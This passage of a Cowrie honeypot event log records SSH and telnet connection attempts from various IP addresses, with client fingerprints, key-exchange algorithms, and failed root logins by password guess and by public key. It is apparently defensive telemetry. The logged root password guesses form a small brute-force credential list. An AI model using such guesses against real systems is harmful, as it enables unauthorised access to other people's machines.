cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:51.226078Z","src_ip":"162.240.75.182","session":"5a6420e93082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"floki456","message":"login attempt [root/floki456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:51.474386Z","src_ip":"162.240.75.182","session":"5a6420e93082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:53.988838Z","src_ip":"162.240.75.182","session":"5a6420e93082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53616,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe0c34512a2","protocol":"telnet","message":"New connection: 107.6.151.170:53616 (159.203.135.109:23) [session: 7fe0c34512a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:55:54.828227Z"}
{"eventid":"cowrie.session.closed","duration":32.42672395706177,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:22.231774Z","src_ip":"107.6.151.170","session":"19adfdaae671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594860792160034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:26.422942Z","src_ip":"107.6.151.170","session":"7fe0c34512a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59038,"dst_ip":"159.203.135.109","dst_port":22,"session":"89c13e72631b","protocol":"ssh","message":"New connection: 103.15.222.183:59038 (159.203.135.109:22) [session: 89c13e72631b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:29.304334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:29.308296Z","src_ip":"103.15.222.183","session":"89c13e72631b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:29.540398Z","src_ip":"103.15.222.183","session":"89c13e72631b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31101982","message":"login attempt [root/31101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:30.238481Z","src_ip":"103.15.222.183","session":"89c13e72631b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:31.473593Z","src_ip":"103.15.222.183","session":"89c13e72631b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42810,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a590cf9f4ec","protocol":"telnet","message":"New connection: 170.64.224.25:42810 (159.203.135.109:23) [session: 1a590cf9f4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:35.515705Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54490,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d5fb377c5f1","protocol":"telnet","message":"New connection: 107.6.151.170:54490 (159.203.135.109:23) [session: 6d5fb377c5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:36.184760Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50900,"dst_ip":"10.17.0.5","dst_port":22,"session":"459c1a3024fe","protocol":"ssh","message":"New connection: 51.250.105.222:50900 (10.17.0.5:22) [session: 459c1a3024fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:41.395476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:41.399005Z","src_ip":"51.250.105.222","session":"459c1a3024fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:41.526432Z","src_ip":"51.250.105.222","session":"459c1a3024fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:41.908137Z","src_ip":"51.250.105.222","session":"459c1a3024fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:43.038578Z","src_ip":"51.250.105.222","session":"459c1a3024fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":45098,"dst_ip":"10.17.0.5","dst_port":22,"session":"85b951ce1b7d","protocol":"ssh","message":"New connection: 86.111.176.100:45098 (10.17.0.5:22) [session: 85b951ce1b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:48.792355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:48.797215Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:48.875757Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:2c:a4:41:b9:de:09:3d:22:a1:93:66:9b:03:a6:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxQuUgF6OEgzKgRRT0l2uOGSP5L7QKrh1G7ykjVFJCqlwfXVTWOs+k4QO6yHt5rUQmAqZsPXCtVjPzvPxtVHfQ+zZoqm8SG/9X02oTIFTfOh5NSm1VN3hHZyoBt3Eh1NGaeNg4ky+vOetP+qDfev5p2VkXDit9abF1ovboI/o41jbTy//sn37RI4WsS6OkxKFd/7/Pyq1DLexDbkaFQjD+h112m4EJ7fUUKRSL+3KIWigsFOLlO09QdHdRkUO7+I4LL0NJ/NLoMn4HOOxSwXxW0RQ3yy9G3Cdqpv0FC7L4OvF3jXSDIR4/BwJQWSTT6OGJuHFVNvQ8kHC3Xtd2aaQp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:2c:a4:41:b9:de:09:3d:22:a1:93:66:9b:03:a6:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.219248Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:2c:a4:41:b9:de:09:3d:22:a1:93:66:9b:03:a6:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxQuUgF6OEgzKgRRT0l2uOGSP5L7QKrh1G7ykjVFJCqlwfXVTWOs+k4QO6yHt5rUQmAqZsPXCtVjPzvPxtVHfQ+zZoqm8SG/9X02oTIFTfOh5NSm1VN3hHZyoBt3Eh1NGaeNg4ky+vOetP+qDfev5p2VkXDit9abF1ovboI/o41jbTy//sn37RI4WsS6OkxKFd/7/Pyq1DLexDbkaFQjD+h112m4EJ7fUUKRSL+3KIWigsFOLlO09QdHdRkUO7+I4LL0NJ/NLoMn4HOOxSwXxW0RQ3yy9G3Cdqpv0FC7L4OvF3jXSDIR4/BwJQWSTT6OGJuHFVNvQ8kHC3Xtd2aaQp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.225291Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:15:0e:55:51:5d:0f:2e:49:cd:72:e9:95:8f:e8:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC+MJne0sEZObsX1zcAqhCZYJ0TFmm1pgo0aEKE9PlNmVXYyMNWJgIhG6z0a7sddhxBkRPhvQmkUdcKbVlUEqXeY9dDYwOo+bMFJ2W/A7rshrdockNs0Dc8laoXgkXMZaGw3oMmM8yFaCEclK+PehDnkb3k4tzbM4i33EVc7iGahQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:15:0e:55:51:5d:0f:2e:49:cd:72:e9:95:8f:e8:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.299557Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:15:0e:55:51:5d:0f:2e:49:cd:72:e9:95:8f:e8:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC+MJne0sEZObsX1zcAqhCZYJ0TFmm1pgo0aEKE9PlNmVXYyMNWJgIhG6z0a7sddhxBkRPhvQmkUdcKbVlUEqXeY9dDYwOo+bMFJ2W/A7rshrdockNs0Dc8laoXgkXMZaGw3oMmM8yFaCEclK+PehDnkb3k4tzbM4i33EVc7iGahQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.302563Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:72:53:41:de:54:d7:f8:8d:71:bb:11:9d:dd:87:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD1cvGcAq4lhgKR6mkMVZixZmKwVfUsCxqeMlf9gzKiM0l/++m6zbgJccZFHzgrpBmhC9lg2BjpuYgKHnZ3GVVDkowZmGOlkAi/W8GdyyWff+Zu3MXs+D5Ir9qYhPCZgi9XRtCUAmIhOrOpvRTVTKlX/PJPJhPG3wGmtCQBSsPSWhzy/3vQOBs95kadyPYGImqWZDIoL2nq0AxZbILWk0FUN+jzrCSTTTWrJNHEdB1ni+Lzs3tms6SU2vmSWuHZx0WFOUalwLCrKz4wFMA3CMM82NTtmKh51/Q62nQF6UV8S4n9bnIzt5vDqa6lCewLbLZkyk2F9nyxkwS2On0xH9l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:72:53:41:de:54:d7:f8:8d:71:bb:11:9d:dd:87:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.374087Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:72:53:41:de:54:d7:f8:8d:71:bb:11:9d:dd:87:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD1cvGcAq4lhgKR6mkMVZixZmKwVfUsCxqeMlf9gzKiM0l/++m6zbgJccZFHzgrpBmhC9lg2BjpuYgKHnZ3GVVDkowZmGOlkAi/W8GdyyWff+Zu3MXs+D5Ir9qYhPCZgi9XRtCUAmIhOrOpvRTVTKlX/PJPJhPG3wGmtCQBSsPSWhzy/3vQOBs95kadyPYGImqWZDIoL2nq0AxZbILWk0FUN+jzrCSTTTWrJNHEdB1ni+Lzs3tms6SU2vmSWuHZx0WFOUalwLCrKz4wFMA3CMM82NTtmKh51/Q62nQF6UV8S4n9bnIzt5vDqa6lCewLbLZkyk2F9nyxkwS2On0xH9l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.376622Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:bd:31:d7:e9:b2:08:4c:6f:5d:52:2e:14:12:c1:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtC+WIMG8e1FLGjL+a/fcdtPa2/6FrggAbft2Pa94oQVMhKlItSfkbrjXvBgfENswQ8eyt+5PbzkNMz5bhqwCAMB2B2M2GxC0fhwJLsXetzW2VCsRhW7mlEQ9+sxWyI9lW2Tt7zZAjiNOol+mdJrzUXdg0y08VzLkf/w3g7hj14MlFRw/TdUa12WOmmtLe2935veyOOu/gB9FeUW38c7EDcTzHMBbteo73VZpPuAR6FDWvG9IvjhoPcDYQzItS5XeVCatU5CiGc7r6n0EQVHgSJsi28l1rAobQkiVurEJKB/iwqtbWHHCm6hOWDeo67BBU4lnqBeU949lsAAft258R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:bd:31:d7:e9:b2:08:4c:6f:5d:52:2e:14:12:c1:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.448874Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:bd:31:d7:e9:b2:08:4c:6f:5d:52:2e:14:12:c1:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtC+WIMG8e1FLGjL+a/fcdtPa2/6FrggAbft2Pa94oQVMhKlItSfkbrjXvBgfENswQ8eyt+5PbzkNMz5bhqwCAMB2B2M2GxC0fhwJLsXetzW2VCsRhW7mlEQ9+sxWyI9lW2Tt7zZAjiNOol+mdJrzUXdg0y08VzLkf/w3g7hj14MlFRw/TdUa12WOmmtLe2935veyOOu/gB9FeUW38c7EDcTzHMBbteo73VZpPuAR6FDWvG9IvjhoPcDYQzItS5XeVCatU5CiGc7r6n0EQVHgSJsi28l1rAobQkiVurEJKB/iwqtbWHHCm6hOWDeo67BBU4lnqBeU949lsAAft258R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.451694Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:b8:eb:dc:29:92:54:f8:a8:0a:d8:3c:1d:5c:a6:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXuJN334GpnVdLu2ni58g3vM0n4fH4W7vK/dsMkRVUmBfUyS8jJ3jKTERXI+hM8CpH8aSGAC1BYMzIVZjGWA8yvTZHzFVWaS1uPu0wR4BEm+9uxjcdvcxmk1PkfFkUe8VjaP2AOsuXsQGwXDAMW54fBE06xUfbfDFcv79BM24GwYfmo87KTlLZcpt+AeYCvBgvaMESSjKAJ9X5UC7d/LN69NZuxauPUzm/BSjuuGc6M69pY+2aSVfLSyKB2EtoXKWL38q1Ehj0nWgd8VnZvj0G0PEMwdFn1twHsctETfVt1FwuN8i7TH1GcbPPeuwsEnp5u8ZH/ryC6maPYjRgfIdyg9zn1pz0m10yuRwSAST60WudqDNsvkD5mJXH7yEHBmL5tfLwXBXnH/7FCXUq/I/Up0QdYBfrGxJilVZK+obqKY+0tm5WctXS4737AJY48yMGQpSocJTxpAXf0W9d8KJinUTXKc9fyWhkkgZFFv3dx3ZBb3BdPdBaijmgfOnJZmU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:b8:eb:dc:29:92:54:f8:a8:0a:d8:3c:1d:5c:a6:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.525356Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:b8:eb:dc:29:92:54:f8:a8:0a:d8:3c:1d:5c:a6:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXuJN334GpnVdLu2ni58g3vM0n4fH4W7vK/dsMkRVUmBfUyS8jJ3jKTERXI+hM8CpH8aSGAC1BYMzIVZjGWA8yvTZHzFVWaS1uPu0wR4BEm+9uxjcdvcxmk1PkfFkUe8VjaP2AOsuXsQGwXDAMW54fBE06xUfbfDFcv79BM24GwYfmo87KTlLZcpt+AeYCvBgvaMESSjKAJ9X5UC7d/LN69NZuxauPUzm/BSjuuGc6M69pY+2aSVfLSyKB2EtoXKWL38q1Ehj0nWgd8VnZvj0G0PEMwdFn1twHsctETfVt1FwuN8i7TH1GcbPPeuwsEnp5u8ZH/ryC6maPYjRgfIdyg9zn1pz0m10yuRwSAST60WudqDNsvkD5mJXH7yEHBmL5tfLwXBXnH/7FCXUq/I/Up0QdYBfrGxJilVZK+obqKY+0tm5WctXS4737AJY48yMGQpSocJTxpAXf0W9d8KJinUTXKc9fyWhkkgZFFv3dx3ZBb3BdPdBaijmgfOnJZmU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.528053Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:49.601355Z","src_ip":"86.111.176.100","session":"85b951ce1b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":49670,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff5c78f6019","protocol":"ssh","message":"New connection: 194.36.147.215:49670 (10.17.0.5:22) [session: 9ff5c78f6019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:54.670351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:54.673883Z","src_ip":"194.36.147.215","session":"9ff5c78f6019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:54.762547Z","src_ip":"194.36.147.215","session":"9ff5c78f6019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mycelium456","message":"login attempt [root/mycelium456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:55.029501Z","src_ip":"194.36.147.215","session":"9ff5c78f6019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:56:56.121499Z","src_ip":"194.36.147.215","session":"9ff5c78f6019","protocol":"ssh"}
